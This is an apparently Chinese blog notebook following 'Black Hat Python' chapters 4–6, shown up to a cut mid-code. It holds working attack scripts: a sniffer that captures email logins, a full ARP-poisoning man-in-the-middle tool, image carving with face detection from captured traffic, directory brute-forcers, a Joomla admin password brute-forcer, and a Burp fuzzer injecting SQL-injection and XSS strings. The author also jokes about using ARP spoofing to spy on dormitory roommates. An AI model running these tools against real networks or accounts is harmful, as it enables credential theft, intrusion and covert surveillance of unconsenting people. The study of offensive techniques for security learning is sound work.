再测试一下其他网段，通过浏览器打开的测试，有些还是web服务器呢，不过下图的是安装完apache的centos，还没部署代码

 

 

第四章 Scapy：网络的掌控者

 

scapy的安装

首先当然要安装scapy，直接给下载网址

https://codeload.github.com/secdev/scapy/zip/v2.3.2

官网也给下，因为可能有更新什么的

http://www.secdev.org/projects/scapy/

 

在kali的安装步骤

  1. unzip scapy-2.3.2.zip
  2. cd scapy-2.3.2
  3. ./setup.py install

 

scapy简单嗅探初探

有个函数说一下

sniff(filter="",iface="any",prn=function,count=N)

filter跟wireshark的过滤类型一样

iface：就是要嗅探的网卡

prn：就是回调函数，简单理解就是会自动调用，它以收到的数据包对象作为唯一参数，你可以在函数中处理数据包

count：嗅探的个数，留空就为无限个

 

代码：

  1. #-*- coding:utf8 -*-
  2.  
  3. from scapy.all import *
  4.  
  5. # 定义数据包回调函数
  6. def packet_callback(packet):
  7.     print packet.show()
  8.  
  9. # 开启嗅探器
  10. sniff(prn=packet_callback, count=1)

 

结果：可以看到从以太网协议，ip协议到tcp协议和数据部分都有了，确实很方便

窃取email认证

 

  1. #-*- coding:utf8 -*-
  2.  
  3. from scapy.all import *
  4.  
  5. # 定义数据包回调函数
  6. def packet_callback(packet):
  7.  
  8.     if packet[TCP].payload:
  9.         mail_packet = str(packet[TCP].payload)
  10.         if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
  11.  
  12.             print "[*] Server: %s" % packet[IP].dst
  13.             print "[*] %s" % packet[TCP].payload
  14.     # print packet.show()
  15.  
  16. # 开启嗅探器(对常见电子邮件端口进行嗅探１１０（ＰＯＰ３），　２５（ＳＭＴＰ），　１４３（ＩＭＡＰ), store=0:不保留原始数据包，长时间嗅探的话不会暂用太多内存
  17. sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)

 

 

这里我用命令行模拟邮件登陆（当然我用的是错误的用户名和密码，所以下图是不能登录成功的，但已经说明抓取成功）

我这里以登陆网易的pop3服务器为例（用telnet即可）

 

 

利用Scapy进行ARP缓存投毒

------------------------------------------------------------这个就是我们通常所说的ARP欺骗咯

首先要开启对网关和目标ip地址的流量进行转发的功能

echo 1 > /proc/sys/net/ipv4/ip_forward

  1. #-*- coding:utf8 -*-
  2.  
  3. from scapy.all import *
  4. import os
  5. import sys
  6. import threading
  7. import signal
  8.  
  9. interface   = "eth0"    #要嗅探的网卡
  10. target_ip   = "10.10.10.140"        #目标ip,这里测试的是另外一台虚拟机winxp
  11. gateway_ip  = "10.10.10.2"        #网关ip，这里是虚拟机的网关
  12. packet_count = 1000
  13.  
  14. def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
  15.  
  16.     # 以下代码调用send函数的方式稍有不同
  17.     print "[*] Restoring target..."
  18.     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
  19.     send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
  20.  
  21.     # 发出退出信号到主线程
  22.     os.kill(os.getpid(), signal.SIGINT)
  23.  
  24. def get_mac(ip_address):
  25.  
  26.     # srp函数（发送和接收数据包，发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac）
  27.     responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
  28.     #　返回从响应数据中获取的MAC地址
  29.     for s,r in responses:
  30.         return r[Ether].src
  31.     return None
  32.  
  33. def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
  34.  
  35.     # 构建欺骗目标的ARP请求()，这里没设置hwsrc,默认就是本机咯
  36.     # 简单来说：告诉被攻击机器，本机（攻击机）的mac是网关，就是攻击者的机器是网关
  37.     poison_target = ARP()
  38.     poison_target.op = 2                # 响应报文
  39.     poison_target.psrc = gateway_ip     # 模拟是网关发出的, 其实是我们的机器发出的
  40.     poison_target.pdst = target_ip      # 目的地是目标机器
  41.     poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac
  42.  
  43.     # 构建欺骗网关的ARP请求()，这里没设置hwsrc,默认就是本机咯
  44.     poison_gateway = ARP()
  45.     poison_gateway.op = 2               # 响应报文
  46.     poison_gateway.psrc = target_ip     # 模拟是目标机器发出的,
  47.     poison_gateway.pdst = gateway_ip    # 目的地是网关
  48.     poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac
  49.  
  50.     print "[*] Beginning the ARP poison. ［CTRL_C to stop］"
  51.  
  52.     while True:
  53.         try:
  54.             # 开始发送ARP欺骗包(投毒)
  55.             send(poison_target)
  56.             send(poison_gateway)
  57.             # 停两秒
  58.             time.sleep(2)
  59.         except KeyboardInterrupt:
  60.             restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
  61.  
  62.     print "[*] ARP poison attack finished"
  63.     return
  64.  
  65.  
  66.  
  67.  
  68.  
  69. # 设置嗅探的网卡
  70. conf.iface = interface
  71.  
  72. # 关闭输出
  73. conf.verb = 0
  74.  
  75. print "[*] Setting up %s" % interface
  76.  
  77. # 获取网关mac
  78. gateway_mac = get_mac(gateway_ip)
  79.  
  80. if gateway_mac is None:
  81.     print "[!!!] Failed to get gateway MAC. Exiting"
  82.     sys.exit(0)
  83. else:
  84.     print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)
  85.  
  86. # 获取目标(被攻击的机器)mac
  87. target_mac = get_mac(target_ip)
  88.  
  89. if target_mac is None:
  90.     print "[!!!] Failed to get target MAC. Exiting"
  91.     sys.exit(0)
  92. else:
  93.     print "[*] Target %s is at %s" % (target_ip, target_mac)
  94.  
  95. # 启动ARP投毒（欺骗）线程
  96. poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
  97. poison_thread.start()
  98.  
  99. try:
  100.     print "[*] Starting sniffer for %d packets" % packet_count
  101.  
  102.     bpf_filter = "ip host %s " % target_ip  # 过滤器
  103.     packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)
  104.  
  105.     # 将捕获到的数据包输出到文件
  106.     wrpcap("arper.pcap", packets)
  107.     # 还原网络配置
  108.     restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
  109.  
  110. except KeyboardInterrupt:
  111.     # 还原网络配置
  112.     restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
  113.     sys.exit(0)


kali （攻击机）

 

winxp（被攻击机）

 

开始攻击

 

攻击结果：网关的ip已被替换成kali的mac了，有趣哦

 

还窃听到了目标机的网络数据流量，哈哈，用于宿舍，舍友的一举一动都知道了

 

 

从pcap文件中提取图片，同时进行人脸识别

安装opencv

 

apt-get install python-opencv python-numpy python-scipy


代码

 

 

  1. #-*- coding:utf8 -*-
  2.  
  3.  
  4. import re
  5. import zlib
  6. import cv2
  7.  
  8.  
  9. from scapy.all import *
  10.  
  11.  
  12. pictures_directory = "./pictures/"
  13. faces_directory = "./faces/"
  14. pcap_file = "test.pcap"
  15.  
  16.  
  17. def get_http_headers(http_payload):
  18.     try:
  19.         #如果为http流量，提取http头
  20.         headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
  21.  
  22.  
  23.         #对http头进行切分
  24.         headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\r\n", headers_raw))
  25.  
  26.  
  27.     except:
  28.         return None
  29.  
  30.  
  31.     if "Content-Type" not in headers:
  32.         return None
  33.  
  34.  
  35.     return headers
  36.  
  37.  
  38. def extract_image(headers, http_payload):
  39.     image = None
  40.     image_type = None
  41.  
  42.  
  43.     try:
  44.         if "image" in headers['Content-Type']:
  45.             #获取图像类型和图像数据
  46.             image_type = headers['Content-Type'].split("/")[1]
  47.             image = http_payload[http_payload.index("\r\n\r\n")+4:]
  48.             #如果数据进行了压缩则解压
  49.             try:
  50.                 if "Content-Encoding" in headers.keys():
  51.                     if headers['Content-Encoding'] == "gzip":
  52.                         image = zlib.decompress(image, 16+zlib.MAX_WBITS)
  53.                     elif headers['Content-Encoding'] == "deflate":
  54.                         image = zlib.decompress(image)
  55.             except:
  56.                 pass
  57.     except:
  58.         return None, None
  59.  
  60.  
  61.     return image,image_type
  62.  
  63.  
  64. def face_detect(path, file_name):
  65.     img = cv2.imread(path)
  66.     cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
  67.     rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
  68.  
  69.  
  70.     if len(rects) == 0:
  71.         return False
  72.  
  73.  
  74.     rects[:, 2:] += rects[:, :2]
  75.  
  76.  
  77.     #对图像中的人脸进行高亮的显示处理
  78.     for x1, y1, x2, y2 in rects:
  79.         cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)
  80.  
  81.  
  82.     cv2.imwrite("%s／%s-%s" (faces_directory, pcap_file, file_name), img)
  83.     return True
  84.  
  85.  
  86. def http_assembler(pcap_file):
  87.  
  88.  
  89.     carved_images = 0
  90.     faces_detected = 0
  91.  
  92.  
  93.     a = rdpcap(pcap_file)
  94.  
  95.  
  96.     sessions = a.sessions()
  97.  
  98.  
  99.     for session in sessions:
  100.         http_payload = ""
  101.         for packet in sessions[session]:
  102.             try:
  103.                 if packet[TCP].dport == 80 or packet[TCP].sport == 80:
  104.                     # 对数据组包
  105.                     http_payload += str(packet[TCP].payload)
  106.             except:
  107.                 pass
  108.  
  109.  
  110.         headers = get_http_headers(http_payload)
  111.  
  112.  
  113.         if headers is None:
  114.             continue
  115.         image, image_type = extract_image(headers, http_payload)
  116.         if image is not None and image_type is not None:
  117.             #　存储图像
  118.             file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
  119.             fd = open("%s/%s" % (pictures_directory, file_name), "wb")
  120.  
  121.  
  122.             fd.write(image)
  123.             fd.close()
  124.  
  125.  
  126.             carved_images += 1
  127.  
  128.  
  129.             #开始人脸识别
  130.             try:
  131.                 result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)
  132.                 if result is True:
  133.                     faces_detected += 1
  134.             except:
  135.                 pass
  136.  
  137.  
  138.     return carved_images, faces_detected
  139.  
  140.  
  141. carved_images, faces_detected = http_assembler(pcap_file)
  142.  
  143.  
  144. print "Extracted: %d images" % carved_images
  145. print "Detected: %d faces" % faces_detected

 

运行结果：（test.pcap是我访问百度图片抓的包，但真么没人脸的图片呢，我记得好像有的啊）

 

 

第五章 Web攻击

Web的套接字函数库：urllib2

下面为他们的简单使用

 

有时要根据你要抓取的网站的编码和自己代码的编码相对应

 

Web开源应用的安装

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录，看看哪些目录是跟官方的一样的，举个例子：比如有没有install目录

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import Queue
  4. import threading
  5. import os
  6. import urllib2
  7.  
  8. threads = 10
  9.  
  10. target = "http://192.168.1.105/Joomla/"
  11. directory = "./Joomla/"
  12. filters = ["jpg", ".gif", ".png", ".css"]
  13.  
  14. os.chdir(directory)
  15. web_paths = Queue.Queue()
  16.  
  17. for r,d,f in os.walk("."):
  18.     for files in f:
  19.         remote_path = "%s%s" % (r,files)
  20.         if remote_path.startswith("."):
  21.             remote_path = remote_path[1:]
  22.         if os.path.splitext(files)[1] not in filters:
  23.             web_paths.put(remote_path)
  24.  
  25. def test_remote():
  26.     while not  web_paths.empty():
  27.         path = web_paths.get()
  28.         url = "%s%s" % (target, path)
  29.  
  30.         request = urllib2.Request(url)
  31.  
  32.         try:
  33.             response = urllib2.urlopen(request)
  34.             content = response.read()
  35.  
  36.             print  "[%d] => %s" % (response.code, path)
  37.             response.close()
  38.  
  39.         except urllib2.HTTPError as error:
  40.             print "Failed %s" % error.code
  41.             pass
  42.  
  43. for i in range(threads):
  44.     print "Spawning thread %d" % i
  45.     t = threading.Thread(target=test_remote)
  46.     t.start()

 

 

我在真实机上安装了Joola3.4.8，跟着用虚拟机的kali去测试


 

暴力破解Web应用目录和文件

代码：

  1. #-*- coding:utf8 -*-  
  2.   
  3. import urllib2  
  4. import threading  
  5. import Queue  
  6. import urllib  
  7.   
  8. threads = 50  
  9. target_url = "http://testphp.vulnweb.com"  
  10. wordlist_file = "./all.txt"  
  11. resume = None   #作者说用于网络中断时，延续上一个尝试的字符串，而不用从头开始，这里好像没用到  
  12. user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"  
  13.   
  14.   
  15. def built_wordlist(wordlist_file):  
  16.     #读入字典文件  
  17.     fd = open(wordlist_file, "rb")  
  18.     raw_words = fd.readlines()  
  19.     fd.close()  
  20.   
  21.     found_resume = False  
  22.     words = Queue.Queue()  
  23.   
  24.     for word in raw_words:  
  25.         #删除字符串末尾的空格  
  26.         word  = word.rstrip()  
  27.         #如果是延续上一次
  28.         if resume is not None:  
  29.   
  30.             if found_resume:  
  31.                 words.put(word)  
  32.             else:  
  33.                 if word == resume:  
  34.                     found_resume = True  
  35.                     print "Resuming wordlist from: %s" % resume  
  36.         else:  
  37.             words.put(word)  
  38.     return words  
  39.   
  40. def dir_bruter(word_queue, extentsions=None):  
  41.   
  42.     while not word_queue.empty():  
  43.         attempt = word_queue.get() 
  44.  
  45.         #用于储存要尝试的url
  46.         attempt_list = []  
  47.   
  48.         #检查是否有文件扩展名，如果没有就是我们要爆破路径，否则爆破文件  
  49.         if "." not in attempt:  
  50.             attempt_list.append("/%s/" % attempt)  
  51.         else:  
  52.             attempt_list.append("/%s" % attempt)  
  53.   
  54.         #如果我们想暴力破解扩展名  
  55.         if extentsions:  
  56.             for extentsion in extentsions:  
  57.                 attempt_list.append("/%s%s" % (attempt, extentsion))  
  58.   
  59.         #迭代我们要尝试的文件列表  
  60.         for brute in attempt_list:  
  61.             #构造url
  62.             url = "%s%s" % (target_url, urllib.quote(brute))  
  63.             #print url  
  64.             try:  
  65.                 headers = {}  
  66.                 headers['User-Agent'] = user_agent  
  67.                 r = urllib2.Request(url, headers=headers)  
  68.   
  69.                 response = urllib2.urlopen(r)  
  70.                 #print response.__dict__
  71.                 if len(response.read()):  
  72.                     print "[%d] ＝＞　%s" % (response.code, url) 
  73.             #用ｅ接收URLError的信息 
  74.             except urllib2.URLError,e:  
  75.                 # code属性存在，并且code不是404  
  76.                 if hasattr(e, 'code') and e.code != 404:  
  77.                     print "!!! %d => %s" % (e.code, url)  
  78.                 pass  
  79.   
  80.   
  81. word_queue = built_wordlist(wordlist_file)  
  82. extentsions = [".php", ".bak", ".orig",".inc"]  
  83.  
  84. #开启多线程扫描
  85. for i in range(threads):  
  86.     t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))  
  87.     t.start()

 

这里我学习到了一个方法，如果不知道一个对象有什么属性的时候，就 print  该对象.__dict__

运行结果（下面倒数第六行是手贱，焦点没回到真实机就按了截图的快捷键，不过也没什么影响）

 

暴力破解HTML表格认证

既然说到这就说说怎么防范吧：

 

1.一个强大的用户名和密码，你的用户名让他猜不着，就已经很难突破了，为了安全起见，强大的密码也是必须的
2.我们都知道很多网站登录都有验证码，一个强大的验证码咯，不然被识别了(这应该是数字图像的内容了)
3.限制尝试登陆的次数
4.限定ip登陆
5.安装个安全狗什么？（这个随便说的，好像不行，防万能密码应该可以）
6.使用一个随机生成的token [当客户端请求页面时，服务器会生成一个随机数Token，并且将Token放置到session{为了省资源也有储存在cookie中的}当中，然后将Token发给客户端（一般通过构造hidden表单）。下次客户端提交请求时，Token会随着表单一起提交到服务器端。]

 

 

 

好，进入正题，首先当然是研究表单的源码

这四个隐藏的元素也要提交，不然100%不能登陆，最后那个MD5似的应该就是token，同时可看到提交地址：index.php，它同时处理登陆

 

作者给出的步骤如下：

 

1.检索登录页面，接收所有返回的cookie
2.从HTML中获取所有表单yuans
3.在字典中设置需要猜测的用户名和密码
4.发送HTTP POST数据包到登陆处理脚本，数据包含所有HTML表单元素值和cookie值
5.测试是否登陆成功

 

 

代码：

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import urllib2
  4. import urllib
  5. import cookielib
  6. import threading
  7. import sys
  8. import Queue
  9.  
  10. from HTMLParser import HTMLParser
  11.  
  12. #简要设置
  13. user_thread = 10
  14. username ="giantbranch"
  15. wordlist_file ="./mydict.txt"
  16. resume = None
  17.  
  18. #特点目标设置
  19. target_url = "http://192.168.1.105/Joomla/administrator/index.php"
  20. target_post = "http://192.168.1.105/Joomla/administrator/index.php"
  21.  
  22. username_field = "username"
  23. password_field = "passwd"
  24.  
  25. #登陆成功后，title里面就有下面的文字，注意是语言是英文才是下面的哦　
  26. success_check = "Administration - Control Panel"
  27.  
  28. class BruteParser(HTMLParser):
  29.     def __init__(self):
  30.         HTMLParser.__init__(self)
  31.         self.tag_results = {}
  32.  
  33.     #当我们调用feed函数时，他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)
  34.     def handle_starttag(self, tag, attrs):
  35.         #判断是否是input标签
  36.         if tag == "input":
  37.             tag_name = None
  38.             tag_value = None
  39.             for name,value in attrs:
  40.                 #input标签里面不是有name,value,type等属性吗，这里只判断name和value
  41.                 #不过我觉得第二个if是多余的
  42.                 if name == "name":
  43.                     tag_name = value
  44.                 if name == "value":
  45.                     tag_value = value
  46.                 if tag_name is not None:
  47.                     self.tag_results[tag_name] = value
  48.  
  49. class Bruter(object):
  50.     def __init__(self, username, words):
  51.         self.username = username
  52.         self.password_q = words
  53.         self.found = False
  54.  
  55.         print "Finished setting up for %s" % username
  56.  
  57.     def run_bruteforce(self):
  58.         for i in range(user_thread):
  59.             t = threading.Thread(target=self.web_bruter)
  60.             t.start()
  61.  
  62.     def web_bruter(self):
  63.         while not self.password_q.empty() and not self.found:
  64.             #从字典获取密码，并去除右边的空格
  65.             brute = self.password_q.get().rstrip()
  66.             #使用FileCookieJar类，将cookie值储存到文件，参数为文件名，可用于存取cookie
  67.             jar = cookielib.FileCookieJar("cookies")
  68.             #用上面的jar初始化urllib2打开器,这样下面请求url时，就会把cookie值存到那个文件中
  69.             opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  70.  
  71.             response =opener.open(target_url)
  72.  
  73.             page = response.read()
  74.  
  75.             print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())
  76.  
  77.             #解析隐藏区域(表单)
  78.             parser = BruteParser()
  79.             parser.feed(page)
  80.  
  81.             #已经含有隐藏表单的键值
  82.             post_tags = parser.tag_results
  83.  
  84.             #添加我们的用户名和密码区域
  85.             post_tags[username_field] = self.username
  86.             post_tags[password_field] = brute
  87.  
  88.             #输出post的数据(键值)
  89.             # for key,value in post_tags.items():
  90.             #     print key,':',value
  91.  
  92.             #url编码post的数据，开始尝试登陆
  93.             login_data = urllib.urlencode(post_tags)
  94.             login_response =opener.open(target_post, login_data)
  95.             login_result = login_response.read()
  96.  
  97.             #　判断是否登陆成功
  98.             if success_check in login_result:
  99.                 #设置为True，让循环结束
  100.                 self.found = True
  101.  
  102.                 print "[*] Bruteforce successful."
  103.                 print "[*] Username: %s" % username
  104.                 print "[*] Password: %s" % brute
  105.                 print "[*] Waiting for other threads to exit..."
  106.  
  107. def built_wordlist(wordlist_file):
  108.     #读入字典文件
  109.     fd = open(wordlist_file, "rb")
  110.     raw_words = fd.readlines()
  111.     fd.close()
  112.  
  113.     found_resume = False
  114.     words = Queue.Queue()
  115.  
  116.     for word in raw_words:
  117.         #删除字符串末尾的空格
  118.         word  = word.rstrip()
  119.         #如果是延续上一次
  120.         if resume is not None:
  121.  
  122.             if found_resume:
  123.                 words.put(word)
  124.             else:
  125.                 if word == resume:
  126.                     found_resume = True
  127.                     print "Resuming wordlist from: %s" % resume
  128.         else:
  129.             words.put(word)
  130.     return words
  131.  
  132. #构造字典
  133. words = built_wordlist(wordlist_file)
  134.  
  135. #初始化Bruter类
  136. bruter_obj = Bruter(username, words)
  137. #调用run_bruteforce函数
  138. bruter_obj.run_bruteforce()

 

 

 

下面的可能对理解代码有帮助：

cookie没登陆就会有的了，你访问一下百度首页也有，就算你没登陆

下图为访问joomla的首页时的cookie(还没登陆)

登陆后

jar有什么用

作者验证登陆成功用的是title，觉得不是很靠谱

 

 

注：我的测试账号为： giantbranch 密码:test

期间出了不少错误：

1.一个是用户名，自己初始化joomla时设置的超级用户名是giantbranch，结果跟着作者admin了哭

2.跑了很久都没跑出来，正确的账号密码也不会停止骂人

最后将post的数据打印出来才知道，密码域的名字打错了

 

最终运行结果：（只展示部分）

终于成功了大哭羡慕奋斗

 

第六章 扩展Burp

这里应该要首先熟悉使用Brup

配置

下载jython，或者我文章开头的源码码那里有

打开软件，这必须的，一张图秒懂吧~~

 

 

Brup模糊测试

下面两个是Burp的IIntruderPayloadGeneratorFactory类和IIntruderPayloadGenerator的API文档，我们要对这些类进行扩展，重载他们的某些方法

  1. package burp;   
  2. /*
  3.  * @(#)IIntruderPayloadGeneratorFactory.java
  4.  * Copyright PortSwigger Ltd. All rights reserved.
  5.  * This code may be used to extend the functionality of Burp Suite Free Edition
  6.  * and Burp Suite Professional, provided that this usage does not violate the
  7.  * license terms for those products.
  8.     //代码用于扩展免费和专业版，但不要违反许可证
  9.  */
  10. /*
  11.  * Extensions can implement this interface and then call
  12.  * <code>IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()</code>
  13.  * to register a factory for custom Intruder payloads.
  14.     //告诉我们要调用IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()函数去注册，这样Intruder才能生成攻击载荷
  15.  */
  16. public interface IIntruderPayloadGeneratorFactory
  17. {
  18.     /**
  19.      * This method is used by Burp to obtain the name of the payload generator.
  20.      * This will be displayed as an option within the Intruder UI when the user
  21.      * selects to use extension-generated payloads.
  22.      * @return The name of the payload generator.
  23.      */
  24.     //这函数就是返回payload发生器的名称
  25.     String getGeneratorName();
  26.     /*
  27.      * This method is used by Burp when the user starts an Intruder attack that
  28.      * uses this payload generator.
  29.         //用于用户开始Intruder攻击时使用这个payload发生器
  30.      *
  31.     //参数
  32.      * @param attack An
  33.      * <code>IIntruderAttack</code> object that can be queried to obtain details
  34.      * about the attack in which the payload generator will be used.    
  35.     //返回值
  36.      * @return A new instance of
  37.      * <code>IIntruderPayloadGenerator</code> that will be used to generate
  38.      * payloads for the attack.
  39.     IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);
  40. }
  1. package burp;
  2. /*
  3.  * @(#)IIntruderPayloadGenerator.java
  4.  * Copyright PortSwigger Ltd. All rights reserved.
  5.  * This code may be used to extend the functionality of Burp Suite Free Edition
  6.  * and Burp Suite Professional, provided that this usage does not violate the
  7.  * license terms for those products.
  8.  */
  9. /**
  10.  * This interface is used for custom Intruder payload generators. Extensions
  11.  * that have registered an
  12.  * <code>IIntruderPayloadGeneratorFactory</code> must return a new instance of
  13.  * this interface when required as part of a new Intruder attack.
  14.  */
  15. public interface IIntruderPayloadGenerator
  16. {
  17.     /*
  18.     //这个函数用于决定是否提供更多的payload，就是还有没有咯
  19.      * This method is used by Burp to determine whether the payload generator is
  20.      * able to provide any further payloads.
  21.      *
  22.     //返回值
  23.      * @return Extensions should return
  24.      * <code>false</code> when all the available payloads have been used up,
  25.      * otherwise
  26.      * <code>true</code>.
  27.      */
  28.     boolean hasMorePayloads();
  29.     /*
  30.     //这函数用于获得下一个payload
  31.      * This method is used by Burp to obtain the value of the next payload.
  32.      * @param baseValue The base value of the current payload position. This
  33.      * value may be
  34.      * <code>null</code> if the concept of a base value is not applicable (e.g.
  35.      * in a battering ram attack).
  36.      * @return The next payload to use in the attack.
  37.      */
  38.     byte[] getNextPayload(byte[] baseValue);
  39.     /*
  40.     //这函数用于重置payload发生器，就是重置后，回头从第一个payload开始尝试
  41.      * This method is used by Burp to reset the state of the payload generator
  42.      * so that the next call to
  43.      * <code>getNextPayload()</code> returns the first payload again. This
  44.      * method will be invoked when an attack uses the same payload generator for
  45.      * more than one payload position, for example in a sniper attack.
  46.      */
  47.     void reset();
  48.  
  49. }

 

代码:

 

  1. #-*- coding:utf8 -*-
  2.  
  3. # 导入三个类，其中IBurpExtender类是编写扩展工具必须的类，后两个是Intruder的，我们就是要扩展它
  4. from burp import IBurpExtender
  5. from burp import IIntruderPayloadGeneratorFactory
  6. from burp import IIntruderPayloadGenerator
  7.  
  8. from java.util import List, ArrayList
  9.  
  10. import random
  11.  
  12. #定义自己的BurpExtender类，继承和扩展IBurpExtender和IIntruderPayloadGeneratorFactory类
  13. class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
  14.  
  15.     def registerExtenderCallbacks(self, callbacks):
  16.         self._callbacks = callbacks
  17.         self._helpers = callbacks.getHelpers()
  18.  
  19.         #用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类，这样Intruder才能生成攻击载荷
  20.         callbacks.registerIntruderPayloadGeneratorFactory(self)
  21.  
  22.         return
  23.  
  24.     #返回载荷生成器的名称
  25.     def getGeneratorName(self):
  26.         return "BHP Payload Generator"
  27.  
  28.     # 接受攻击相关参数，返回IIntruderPayloadGenerator类型的实例，作者将他命名为BHPFuzzer
  29.     def createNewInstance(self, attack):
  30.         return BHPFuzzer(self, attack)
  31.  
  32. # 定义BHPFuzzer类，扩展了IIntruderPayloadGenerator类
  33. # 增加了max_payload(最大的payload), num_iterations(迭代次数)两个变量，用于控制模糊测试的次数
  34. class BHPFuzzer(IIntruderPayloadGenerator):
  35.     def __init__(self, extender, attack):
  36.         self._extender = extender
  37.         self._helpers = extender._helpers
  38.         self._attack = attack
  39.         self.max_payload = 1000
  40.         self.num_iterations = 0
  41.         return
  42.  
  43.     # 通过比较判断迭代是否达到上限
  44.     def hasMorePayloads(self):
  45.         if self.num_iterations == self.max_payload:
  46.             return False
  47.         else:
  48.             return True
  49.  
  50.     # 接受原始的HTTP负载，current_payload是数组，转化成字符串，传递给模糊测试函数mutate_payload
  51.     def getNextPayload(self, current_payload):
  52.         # 转换成字符串
  53.         payload = "".join(chr(x) for x in current_payload)
  54.         # 调用简单的变形器对POST请求进行模糊测试
  55.         payload = self.mutate_payload(payload)
  56.         # 增加FUZZ的次数
  57.         self.num_iterations += 1
  58.         return payload
  59.  
  60.     # 重置
  61.     def reset(self):
  62.         self.num_iterations = 0
  63.         return
  64.  
  65.     def mutate_payload(self, original_payload):
  66.         # 仅生成随机数或者调用一个外部脚本
  67.         picker = random.randint(1,3)
  68.  
  69.         # 再载荷中选取一个随机的偏移量去变形
  70.         offset = random.randint(0, len(original_payload)-1)
  71.         payload = original_payload[:offset]
  72.  
  73.         # 在随机偏移位置插入SQL注入尝试
  74.         if picker == 1:
  75.             payload += "'"
  76.  
  77.         # 插入跨站尝试
  78.         if picker == 2:
  79.             payload += "<script>alert('xss');</script>"
  80.  
  81.         # 随机重复原始载荷
  82.         if picker == 3:
  83.             chunk_length = random.randint(len(payload[offset:]), len(payload)-1)
  84.             repeater = random.randint(1,10)
  85.  
  86.             for i in range(repeater):
  87.                 payload += original_payload[offset:offset+chunk_length]
  88.  
  89.  
  90.         # 添加载荷中剩余的字节
  91.         payload += original_payload[offset:]
  92.  
  93.         return payload

 

加载我们写的python

加载成功Loaded会打钩

设置本地8080代理，搜索栏输入test，具体看图吧~

 

可以看出应该存在sql注入，

 

在Burp中利用Bing服务

获取Bing API密钥

https://datamarket.azure.com/dataset/bing/search

 

参考：http://wcf1987.iteye.com/blog/1775433  ，注意地区的选择

 

 

代码

  1. #-*- coding:utf8 -*-
  2. from burp import IBurpExtender
  3. from burp import IContextMenuFactory
  4.  
  5. from javax.swing import JMenuItem
  6. from java.util import List, ArrayList
  7. from java.net import URL
  8.  
  9. import socket
  10. import urllib
  11. import json
  12. import re
  13. import base64
  14.  
  15. bing_api_key = "这里用你的密钥"
  16.  
  17. class BurpExtender(IBurpExtender, IContextMenuFactory):
  18.     def registerExtenderCallbacks(self,callbacks):
  19.         self._callbacks = callbacks
  20.         self._helpers = callbacks.getHelpers()
  21.         self.context = None
  22.  
  23.         # 我们建立起扩展工具
  24.         callbacks.setExtensionName("Use Bing")
  25.         callbacks.registerContextMenuFactory(self)
  26.  
  27.         return
  28.  
  29.     # 创建菜单并处理点击事件，就是actionPerformed那里，点击调用bing_menu函数
  30.     def createMenuItems(self, context_menu):
  31.         self.context = context_menu
  32.         menu_list = ArrayList()
  33.         menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu))
  34.         return menu_list
  35.  
  36.     def bing_menu(self, event):
  37.         # 获取用户点击的详细信息
  38.         http_traffic = self.context.getSelectedMessages()
  39.  
  40.         print "%d requests highlighted" % len(http_traffic)
  41.  
  42.         # 获取ip或主机名(域名)
  43.         for traffic in http_traffic:
  44.             http_service = traffic.getHttpService()
  45.             host = http_service.getHost()
  46.  
  47.             print "User selected host: %s" % host
  48.  
  49.             self.bing_search(host)
  50.  
  51.         return
  52.  
  53.     def bing_search(self, host):
  54.         # 检查参数是否为ip地址或主机名(域名)------使用正则
  55.         is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host)
  56.  
  57.         # 若为ip
  58.         if is_ip:
  59.             ip_address = host
  60.             domain = False
  61.         else:
  62.             ip_address = socket.gethostbyname(host)
  63.             domain = True
  64.  
  65.         # 查寻同一ip是否存在不同虚拟机
  66.         bing_query_string ="'ip:%s'" % ip_address
  67.         self.bing_query(bing_query_string)
  68.  
  69.         # 若为域名则执行二次搜索，搜索子域名
  70.         if domain:
  71.             bing_query_string = "'domain:%s'" % host
  72.             self.bing_query(bing_query_string)
  73.  
  74.  
  75.  
  76.     def bing_query(self, bing_query_string):
  77.         print "Performing Bing search: %s" % bing_query_string
  78.         # 编码我们的查询(如　urllib.quote('ab c')－－＞　'ab%20c')
